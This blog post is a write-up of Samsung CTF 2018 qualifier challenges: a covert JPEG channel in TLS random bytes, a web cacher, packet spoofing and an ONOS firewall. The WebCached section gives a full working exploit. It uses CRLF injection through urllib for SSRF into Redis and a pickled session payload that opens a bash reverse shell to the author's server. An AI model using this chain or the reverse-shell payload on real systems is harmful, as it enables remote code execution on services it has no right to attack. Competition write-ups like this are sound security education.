Samsung CTF 2018 Quals
I’m very surprised that only 832 points is ranked in 10th…
index
Mic Check
SCTF{you_need_to_include_SCTF{}_too}
HideInSSL
Hacker stole the flag through the SSL protocol.
As the description says, there is suspicious data on TLS random bytes including something like JPEG between 192.168.0.107
and 192.168.0.128
.
18:00:00:00:ff:d8:ff:e0:00:10:4a:46:49:46:00:01:00:01:00:60:00:60:00:00:ff:fe:00:1f
first 4 bytes seems to be size of payload. \x18\x00\x00\x00
is 0x18 in little endian, also following 0x18 byte is JPEG header.
So whole data would be recovered by extracting each chunk. I tried to extract them into a file but this includes multiple JPEG file and each file seems to be corrupted.
Next I carefully looked into the traffic and found two facts:
- sometimes 0 size packet appears
- after this packet, JPEG file header appers again
- there is response packet with payload
0
or1
- seems to be
1
means success and0
means fail.
- seems to be
Extracting each payload after 1
response and combining them with 0 size packet as separator, I got 21 JPEG files but still corrupted.
Then trying to collect each payload before 1
response, I got valid JPEG files.
import pyshark
import struct
import os
pcaps = pyshark.FileCapture('./HideInSSL.pcap')
peer = ['192.168.0.128', '192.168.0.107']
response = '31'
cnt = 0
chunks = list()
if not os.path.exists('d'):
os.mkdir('d')
for p in pcaps:
if hasattr(p, 'ssl') and p.ip.src in peer and p.ip.dst in peer:
if p.ip.src == peer[0]:
response = p.tcp.payload
if p.ip.src == peer[1]:
d = ''.join(map(lambda s:s.decode('hex'), p.ssl.handshake_random_bytes.split(":")))
size, data = struct.unpack("<I", d[:4])[0], d[4:]
if response == '31':
chunks.append(data[:size])
if size == 0:
open('./d/{}.jpg'.format(cnt), 'w').write(''.join(chunks))
print cnt
cnt += 1
chunks = list()
combining a character in each JPEG files, I got flag.
SCTF{H3llo_Cov3rt_S5L}
WebCached
Cache Your Favorite Page @ WebCached
This application is viewer for entered url.
Of course file scheme is available.
file:///etc/passwd
First I checked /proc/self/cmdline
and found that this application is running under uwsgi.
uwsgi--ini/tmp/uwsgi.ini
/tmp/uwsgi.ini
[uwsgi]
uid=www-data
gid=www-data
chdir=/app
module=run
callable=app
chmod-socket=664
socket=/tmp/uwsgi.sock
python-autoreload = 1
processes=16
then I found python source code at /app/run.py
#!/usr/bin/env python2
from redis import Redis
from flask import Flask, request, render_template
from flask import session, redirect, url_for, abort
from session_interface import RedisSessionInterface
import socket
import urllib
r = Redis()
app = Flask(__name__)
app.session_interface = RedisSessionInterface()
timeout = socket.getdefaulttimeout()
def cached(url):
key = '{}:{}'.format(request.remote_addr, url)
resp = r.get(key)
if resp is None:
resp = load_cache(url)
r.setex(key, resp, 3)
return resp
def load_cache(url):
def get(url):
return urllib.urlopen(url).read()
socket.setdefaulttimeout(0.5)
try:
resp = get(url)
except socket.timeout:
resp = '{} may be dead...'.format(url)
except Exception as e:
resp = str(e)
socket.setdefaulttimeout(timeout)
return resp
@app.route('/view')
def view():
url = session.get('url', None)
if url is not None:
session.pop('url')
return cached(url)
else:
return redirect(url_for('main'))
@app.route('/', methods=['GET', 'POST'])
def main():
if request.method == 'GET':
return render_template('main.html')
else:
url = request.form.get('url', None) or abort(404)
session['url'] = url
return redirect(url_for('view'))
if __name__ == '__main__':
app.run(port=12000, host='0.0.0.0', debug=True)
also checked /app/session_interface.py
# Server-side Sessions with Redis
# http://flask.pocoo.org/snippets/75/
import base64
import pickle
from datetime import timedelta
from uuid import uuid4
from redis import Redis
from werkzeug.datastructures import CallbackDict
from flask.sessions import SessionInterface, SessionMixin
class RedisSession(CallbackDict, SessionMixin):
def __init__(self, initial=None, sid=None, new=False):
def on_update(self):
self.modified = True
CallbackDict.__init__(self, initial, on_update)
self.sid = sid
self.new = new
self.modified = False
class RedisSessionInterface(SessionInterface):
serializer = pickle
session_class = RedisSession
def __init__(self, redis=None, prefix='session:'):
if redis is None:
redis = Redis()
self.redis = redis
self.prefix = prefix
def generate_sid(self):
return str(uuid4())
def get_redis_expiration_time(self, app, session):
if session.permanent:
return app.permanent_session_lifetime
return timedelta(days=1)
def open_session(self, app, request):
sid = request.cookies.get(app.session_cookie_name)
if not sid:
sid = self.generate_sid()
return self.session_class(sid=sid, new=True)
val = self.redis.get(self.prefix + sid)
if val is not None:
val = base64.b64decode(val)
data = self.serializer.loads(val)
return self.session_class(data, sid=sid)
return self.session_class(sid=sid, new=True)
def save_session(self, app, session, response):
domain = self.get_cookie_domain(app)
if not session:
self.redis.delete(self.prefix + session.sid)
if session.modified:
response.delete_cookie(app.session_cookie_name,
domain=domain)
return
redis_exp = self.get_redis_expiration_time(app, session)
cookie_exp = self.get_expiration_time(app, session)
val = base64.b64encode(self.serializer.dumps(dict(session)))
self.redis.setex(self.prefix + session.sid, val,
int(redis_exp.total_seconds()))
response.set_cookie(app.session_cookie_name, session.sid,
expires=cookie_exp, httponly=True,
domain=domain)
so there seems to be two vulnerabilities:
RedisSessionInterface
uses pickle as serializer- code execution is here! (if I could inject arbitrary data into redis db)
- no check on
url
parameter onload_cache
- this is vulnerable to SSRF
so roughly solution is do SSRF against redis with urllib
and inject picked code into redis db.
Let’s check whether redis is vulnerable against SSRF or not. In python urllib, just injecting \r\n
doesn’t work. I’ve found issue at CRLF Injection in httplib and found that \r\n[SPACE]
still works.
urllib.urlopen("http://[MY_SERVER_IP]\r\n Injected: header\r\n :10080").read()
GET / HTTP/1.0
Host: [MY_SERVER_IP]
Injected: header
:10080
User-Agent: Python-urllib/1.17
Accept: */*
(One thing annoyed me was this exploit doesn’t work on macOS :(
Trying slaveof
commands on redis, I got PING
from redis server!
http://127.0.0.1\r\n slaveof [MY_SERVER_IP] 10080\r\n :6379
Connection from ec2-13-125-188-166.ap-northeast-2.compute.amazonaws.com 41614 received!
PING
(this command makes the application 500 but restored soon, sorry for temporary unavailability…
So everything is ready to exploit! Only remaining is prepare payload to inject.
I checked locally and found the session is picked and base64 encoded {'url': '[URL]'}
(dict).
Of course pickle supports nested object so exploit is generated by following code:
import pickle
class RCE(dict):
def __reduce__(self):
return (__import__('os').system, ('bash -c "bash -i >& /dev/tcp/[MY_SERVER_IP]/10080 0>&1"', ))
rce = {'url': '', 'a': RCE()}
payload = base64.b64encode(pickle.dumps(rce))
this base64 encoded string should be injected to session:[session_id]
in redis db.
Note that the session cookie is deleted after redirected so you should not to follow redirect.
A conclusive exploit is here:
import requests
import pickle
import base64
class RCE(dict):
def __reduce__(self):
return (__import__('os').system, ('bash -c "bash -i >& /dev/tcp/[MY_SERVER_IP]/10080 0>&1"', ))
rce = {'url': '', 'a': RCE()}
payload = base64.b64encode(pickle.dumps(rce))
# cPickle.loads(cPickle.dumps(rce))
# exit(1)
url = "http://webcached.eatpwnnosleep.com/"
# url = "http://localhost:12000"
def ssrf(payload, host='127.0.0.1', port=6379):
payload = payload.replace('\n', '\r\n ')
return requests.post(url, data={'url': 'http://{}\r\n {}\r\n :{}'.format(host, payload, port), 'action': ''}).content
req = requests.post(url, data={'url': '', 'action': ''}, allow_redirects=False)
sid = req.cookies['session']
rediscmd = """
set 'session:{sid}' '{payload}'
quit
"""[1:-1].format(sid=sid, payload=payload)
print ssrf(rediscmd)
print requests.get(url, cookies={'session': sid}).content
I got shell and found the flag under /
.
www-data@d33597a01cbb:/$ cat flag_dad9d752e1969f0e614ce2a4330efd6e
cat flag_dad9d752e1969f0e614ce2a4330efd6e
SCTF{c652f8004846fe0e3bf9571be26afbf1}
Through The Router
You are an industrial spy hiding in the SCTF company. You have found the secret recipe, but could not send any packet to your home. That is because SCTF's corporate network is configured with SDN, and that these [rules]> (https://s3.ap-northeast-2.amazonaws.com/sctf2018-qual-binaries/Rules.> png_8e49760cf79defa973b4e7199e50e0f062a49a15) are installed at all routers in the > network.
Craft a packet that satisfies:
- It is a UDP packet
- It arrives at 10.0.0.1:22136.
- Its body is a 6-byte string ‘secret’.
Your packet will be sent using this python code:
s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP) s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1) s.sendto(packet, ('10.0.0.1', 0))
Therefore the packet must include IP and UDP headers.
There are some rules on picture about openflow (or ONOS? I don’t know much about it)
Here is an important part of picture
I thought a packet matching any of these rules would pass the firewall, so created crafted packet with scapy which has 10.1.7.8
as source IP and 5555
as source port.
In [21]: a = IP(src="10.1.7.8", dst="10.0.0.1")/UDP(sport=5555,dport=22136)/"secret"
In [22]: a
Out[22]: <IP frag=0 proto=udp src=10.1.7.8 dst=10.0.0.1 |<UDP sport=personal_agent dport=22136 |<Raw load='secret' |>>>
In [23]: str(a).encode('hex')
Out[23]: '450000220001000040115fc10a0107080a00000115b35678000e3c51736563726574'
I put payload 450000220001000040115fc10a0107080a00000115b35678000e3c51736563726574
and got flag.
SCTF{Sp00f_7h3_p4ck3t_70_dr1ll_pr1v4t3_n37w0rk}
Not Open Network
You are the network admin of a black market service. You want to setup a firewall to protect the servers from hackers and police. Your servers use IPs in 10.0.0.0/16 range.
- Drop all incoming packets except the ones heading to port 80.
- Drop all packets containing string ‘police’, case insensitive.
- All other packets are sent to correct destinations. You may assume that there will be TCP packets only.
In this challenge I had to set up ONOS environment by reading Getting started page.
After some trying on ONOS development, I found that the task is to write firewall at AppComponent::MyPacketProcessor::process
in devenv/env/myapp/src/main/java/com/example/myapp/AppComponent.java
to satisfy the problem description.
Of course I don’t know about ONOS, I’ve refered some documents and finally passed with following code:
...
import org.onlab.packet.*;
...
private class MyPacketProcessor implements PacketProcessor {
// This method is invoked whenever we receive a packet
// that is not matched in the routing tables.
@Override
public void process(PacketContext context) {
// Return if another app has already dealt with this packet.
if (context.isHandled())
return;
InboundPacket pkt = context.inPacket();
Ethernet ethPkt = pkt.parsed();
if (ethPkt == null)
return;
// begin added code
if (ethPkt.getEtherType() == Ethernet.TYPE_IPV4) {
IPv4 ippkt = (IPv4)ethPkt.getPayload();
int ip = ippkt.getDestinationAddress();
int oct1 = (ip >> (8 * 3)) & 0xff;
int oct2 = (ip >> (8 * 2)) & 0xff;
boolean toserver = (oct1 == 10 && oct2 == 0);
if (ippkt.getProtocol() == IPv4.PROTOCOL_TCP) {
TCP tcp = (TCP)ippkt.getPayload();
if ((new String(tcp.serialize())).indexOf("police") != -1) {
return;
}
if (toserver && tcp.getDestinationPort() != 80) {
return;
}
}
}
// end added code
allowPacket(context, ethPkt);
}
...
note that you have to serialize TCP
object to check content. (.toString
doesn’t work)
SCTF{The_B4sic_0f_SDN_4pp}